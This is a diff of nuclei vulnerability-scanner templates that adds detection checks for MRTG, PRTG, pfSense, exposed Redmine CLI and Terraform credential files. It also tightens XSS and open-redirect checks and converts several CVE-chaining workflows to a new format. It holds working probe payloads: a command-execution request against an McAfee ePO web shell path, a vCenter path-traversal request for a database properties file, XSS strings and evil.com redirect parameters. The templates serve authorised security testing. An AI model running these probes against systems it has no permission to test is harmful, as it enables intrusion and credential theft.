@@ -0,0 +1,25 @@
+id: mrtg-detect
+info:
+  name: Detect MRTG
+  author: geeknik
+  description: The Multi Router Traffic Grapher -- https://oss.oetiker.ch/mrtg/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/mrtg/"
+      - "{{BaseURL}}/MRTG/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "MRTG Index Page"
+          - "Multi Router Traffic Grapher"
+        condition: and
@@ -0,0 +1,35 @@
+id: prtg-detect
+info:
+  name: Detect PRTG
+  author: geeknik
+  description: Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.htm"
+      - "{{BaseURL}}/prtg/index.htm"
+      - "{{BaseURL}}/PRTG/index.htm"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "PRTG Network Monitor"
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - PRTG
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Server
@@ -0,0 +1,25 @@
+id: redmine-cli-detect
+info:
+  name: Detect Redmine CLI Configuration File
+  author: geeknik
+  description: A small command-line utility to interact with Redmine - https://pypi.org/project/Redmine-CLI/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.redmine-cli"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - default
+          - my_id
+          - root_url
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2731,4 +2731,13 @@ requests:
        name: awselb
        regex:
          - 'awselb'
-        part: header
+        part: header
+
+      - type: word
+        name: pfsense
+        words:
+          - "Login to pfSense"
+          - "<title>pfSense - Login</title>"
+          - "maintained by Netgate"
+        part: body
+        condition: and
@@ -0,0 +1,24 @@
+id: terraform-detect
+info:
+  name: Detect Terraform Provider
+  author: geeknik
+  description: Write Infrastructure as Code - https://www.terraform.io/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/provider.tf"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - access_key
+          - terraform
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -20,3 +20,7 @@ requests:
        words:
          - "<script>alert(document.cookie)</script>"
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,34 @@
+id: mcafee-epo-rce
+
+info:
+  name: McAfee ePolicy Orchestrator RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    A ZipSlip vulnerability in McAfee ePolicy Orchestrator (ePO)
+    is a type of Path Traversal occurring when archives are unpacked
+    if the names of the packed files are not properly sanitized.
+    An attacker can create archives with files containing “../” in their names,
+    making it possible to upload arbitrary files
+    to arbitrary directories or overwrite existing ones during archive extraction.
+
+    References:
+    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/stat.jsp?cmd=chcp+437+%7c+dir"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
+      - type: regex
+        regex:
+          - "Volume (in drive [A-Z]|Serial Number) is"
+        part: body
@@ -6,7 +6,7 @@ info:
  severity: critical

  # Reference:-
-  # https://www.exploit-db.com/exploits/40209
+  # https://www.exploit-db.com/exploits/45070
  # https://github.com/berkdsnr/NUUO-NVRMINI-RCE
  # https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html

@@ -2,7 +2,7 @@ id: open-redirect

 info:
  name: Open redirect Detection
-  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
+  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
  severity: low
  description: A user-controlled input redirect users to an external website.

@@ -19,7 +19,7 @@ requests:
      - "{{BaseURL}}//evil.com/..;/css"
      - "{{BaseURL}}/evil%E3%80%82com"
      - "{{BaseURL}}/%5Cevil.com"
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
    matchers:
      - type: regex
        regex:
@@ -21,4 +21,8 @@ requests:
      - type: word
        words:
          - <svg/onload=alert(document.domain)>
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -20,4 +20,8 @@ requests:
      - type: word
        words:
          - "<script>alert(31337)</script>"
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -18,7 +18,7 @@ requests:
    attack: sniper
    raw:
      - |
-        GET /eam/vib?id=path\vcdb.properties HTTP/1.1
+        GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
        Accept: */*
@@ -22,3 +22,7 @@ requests:
        words:
          - '"><script>confirm(document.domain)</script>'
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -9,8 +9,13 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E"
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg/onload=alert(1337)>"
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,18 +1,16 @@
 id: artica-web-proxy-workflow

 info:
-  name: Artica Web Proxy Workflows
+  name: Artica Web Proxy Security Checks
  author: dwisiswant0 & pdteam
+  description: A simple workflow that runs all Artica Web Proxy related nuclei templates on a given target.

-variables:
-  artica_tech: technologies/artica-web-proxy-detect.yaml
-  artica_auth_bypass: cves/CVE-2020-17506.yaml
-  artica_os_command_inject: cves/CVE-2020-17505.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if artica_tech() {
-    if artica_auth_bypass() {
-      artica_os_command_inject()
-    }
-  }
+workflows:
+
+  - template: technologies/artica-web-proxy-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-17505.yaml
@@ -1,15 +1,16 @@
 id: basic-auth-workflow

 info:
-  name: Basic auth detection and bruteforce workflow
-  author: "@w4cky_"
+  name: Basic auth Security Checks
+  author: w4cky_
+  description: A simple workflow that runs all Basic auth related nuclei templates on a given target.

-variables:
-  basic_auth_detect: technologies/basic-auth-detection.yaml
-  basic_auth_bruteforce: fuzzing/basic-auth-bruteforce.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if basic_auth_detect()  {
-     basic_auth_bruteforce()
-        }
+workflows:
+
+  - template: technologies/basic-auth-detection.yaml
+
+    subtemplates:
+      - template: fuzzing/basic-auth-bruteforce.yaml
@@ -1,15 +0,0 @@
-id: bigip-pwner-workflow
-
-info:
-  name: F5 BIG-IP RCE Workflow
-  author: dwisiswant0
-
-variables:
-  bigip_config_utility: technologies/bigip-config-utility-detect.yaml
-  bigip_cve_2020_5902: cves/CVE-2020-5902.yaml
-
-logic:
-  |
-  if bigip_config_utility() {
-    bigip_cve_2020_5902()
-  }
@@ -0,0 +1,16 @@
+id: bigip-workflow
+
+info:
+  name: F5 BIG-IP Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all Bigip related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/bigip-config-utility-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-5902.yaml
@@ -1,19 +1,18 @@
 id: cisco-asa-workflow

 info:
-  name: Cisco ASA Pwner
+  name: Cisco ASA Security Checks
  author: flag007
+  description: A simple workflow that runs all Cisco related nuclei templates on a given target.

-variables:
-  ciscoasa: panels/cisco-asa-panel.yaml
-  ciscoasa_cve_2020_3187: cves/CVE-2020-3187.yaml
-  ciscoasa_cve_2020_3452: cves/CVE-2020-3452.yaml
-  ciscoasa_cve_2018_0296: cves/CVE-2018-0296.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if ciscoasa() {
-    ciscoasa_cve_2020_3187()
-    ciscoasa_cve_2020_3452()
-    ciscoasa_cve_2018_0296()
-  }
+workflows:
+
+  - template: panels/cisco-asa-panel.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-3187.yaml
+      - template: cves/CVE-2020-3452.yaml
+      - template: cves/CVE-2018-0296.yaml
@@ -1,15 +1,16 @@
 id: grafana-workflow

 info:
-  name: Grafana Workflow
+  name: Grafana Security Checks
  author: pdteam
+  description: A simple workflow that runs all Grafana related nuclei templates on a given target.

-variables:
-  grafana_login: panels/grafana-detect.yaml
-  grafana_cred_check: default-credentials/grafana-default-credential.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if grafana_login() {
-    grafana_cred_check()
-  }
+workflows:
+
+  - template: panels/grafana-detect.yaml
+
+    subtemplates:
+      - template: default-credentials/grafana-default-credential.yaml
@@ -1,41 +0,0 @@
-id: jira-exploitation-workflow
-
-info:
-        name: Jira Exploitation workflow
-        author: micha3lb3n
-
-variables:
-        jira_detect: technologies/jira-detect.yaml
-        jira_signup: security-misconfiguration/jira-service-desk-signup.yaml
-        jira_projects: security-misconfiguration/jira-unauthenticated-projects.yaml
-        jira_dashboard: security-misconfiguration/jira-unauthenticated-dashboards.yaml
-        jira_filters: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
-        jira_user_picker: security-misconfiguration/jira-unauthenticated-user-picker.yaml
-        jira_cve_1: cves/CVE-2019-8449.yaml
-        jira_cve_2: cves/CVE-2019-8451.yaml
-        jira_cve_3: cves/CVE-2017-9506.yaml
-        jira_cve_4: cves/CVE-2018-20824.yaml
-        jira_cve_5: cves/CVE-2019-3396.yaml
-        jira_cve_6: cves/CVE-2020-14179.yaml
-        jira_cve_7: cves/CVE-2020-14181.yaml
-        jira_cve_8: cves/CVE-2019-8442.yaml
-        jira_cve_9: cves/CVE-2019-3402.yaml
-
-logic:
-        |
-        if jira_detect(){
-                jira_signup()
-                jira_projects()
-                jira_dashboard()
-                jira_filters()
-                jira_user_picker()
-                jira_cve_1()
-                jira_cve_2()
-                jira_cve_3()
-                jira_cve_4()
-                jira_cve_5()
-                jira_cve_6()
-                jira_cve_7()
-                jira_cve_8()
-                jira_cve_9()
-        }
@@ -0,0 +1,30 @@
+id: jira-workflow
+
+info:
+  name: Jira Security Checks
+  author: micha3lb3n
+  description: A simple workflow that runs all Jira related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/jira-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2017-9506.yaml
+      - template: cves/CVE-2018-20824.yaml
+      - template: cves/CVE-2019-3396.yaml
+      - template: cves/CVE-2019-3402.yaml
+      - template: cves/CVE-2019-8442.yaml
+      - template: cves/CVE-2019-8449.yaml
+      - template: cves/CVE-2019-8451.yaml
+      - template: cves/CVE-2019-11581.yaml
+      - template: cves/CVE-2020-14179.yaml
+      - template: cves/CVE-2020-14181.yaml
+      - template: security-misconfiguration/jira-service-desk-signup.yaml
+      - template: security-misconfiguration/jira-unauthenticated-dashboards.yaml
+      - template: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
+      - template: security-misconfiguration/jira-unauthenticated-projects.yaml
+      - template: security-misconfiguration/jira-unauthenticated-user-picker.yaml
@@ -1,15 +0,0 @@
-id: liferay-rce-workflow
-
-info:
-  name: Liferay RCE Workflow
-  author: dwisiswant0
-
-variables:
-  liferay_portal: technologies/liferay-portal-detect.yaml
-  liferay_portal_cve: cves/CVE-2020-7961.yaml
-
-logic:
-  |
-  if liferay_portal() {
-    liferay_portal_cve()
-  }
@@ -0,0 +1,15 @@
+id: liferay-workflow
+
+info:
+  name: Liferay Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all liferay related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/liferay-portal-detect.yaml
+    subtemplates:
+      - template: cves/CVE-2020-7961.yaml
@@ -1,19 +1,19 @@
 id: lotus-domino-workflow

 info:
-  name: Lotus Domino workflow
+  name: Lotus Domino Security Checks
  author: CasperGN
+  description: A simple workflow that runs all Lotus Domino related nuclei templates on a given target.

-variables:
-  domino: technologies/tech-detect.yaml
-  domino_version: technologies/lotus-domino-version.yaml
-  domino_cve_2005_2428: cves/CVE-2005-2428.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  domino()
+workflows:

-  if domino["lotus-domino"] {
-    domino_version()
-    domino_cve_2005_2428()
-  }
+  - template: technologies/tech-detect.yaml
+    matchers:
+      - name: lotus-domino
+        subtemplates:
+          - template: technologies/lotus-domino-version.yaml
+            subtemplates:
+              - template: cves/CVE-2005-2428.yaml
@@ -1,18 +1,18 @@
 id: magmi-workflow

 info:
-  name: "MAGMI Workflow"
-  author: "dwisiswant0"
+  name: MAGMI Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all MAGMI related nuclei templates on a given target.

-variables:
-  magmi_tech: technologies/magmi-detect.yaml
-  magmi_cve1: cves/CVE-2017-7391.yaml
-  magmi_cve2: cves/CVE-2020-5776.yaml
-  magmi_cve3: cves/CVE-2020-5777.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic: |
-  if magmi_tech() {
-    magmi_cve1()
-    magmi_cve2()
-    magmi_cve3()
-  }
+workflows:
+
+  - template: technologies/magmi-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2017-7391.yaml
+      - template: cves/CVE-2020-5776.yaml
+      - template: cves/CVE-2020-5777.yaml
@@ -1,18 +1,17 @@
 id: mida-eframework-workflow

 info:
-  name: Mida eFramework workflow
+  name: Mida eFramework Security Checks
  author: CasperGN
+  description: A simple workflow that runs all Mida eFramework related nuclei templates on a given target.

-variables:
-  mida: technologies/tech-detect.yaml
-  cve_2020_15920: cves/CVE-2020-15920.yaml
-  mida_xss: vulnerabilities/mida-eframework-xss.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic: |
-  mida()
+workflows:

-  if mida["mida-eframework"] {
-    cve_2020_15920()
-    mida_xss()
-  }
+  - template: technologies/tech-detect.yaml
+    matchers:
+      - name: mida-eframework
+        subtemplates:
+          - template: vulnerabilities/mida-eframework-xss.yaml
@@ -1,15 +0,0 @@
-id: netsweeper-preauth-rce-workflow
-
-info:
-  name: Netsweeper PreAuth RCE Workflow
-  author: dwisiswant0
-
-variables:
-  netsweeper_webadmin: technologies/netsweeper-webadmin-detect.yaml
-  netsweeper_webadmin_cve_1: cves/CVE-2020-13167.yaml
-
-logic:
-  |
-  if netsweeper_webadmin() {
-    netsweeper_webadmin_cve_1()
-  }
@@ -0,0 +1,16 @@
+id: netsweeper-workflow
+
+info:
+  name: Netsweeper Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all netsweeper related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/netsweeper-webadmin-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-13167.yaml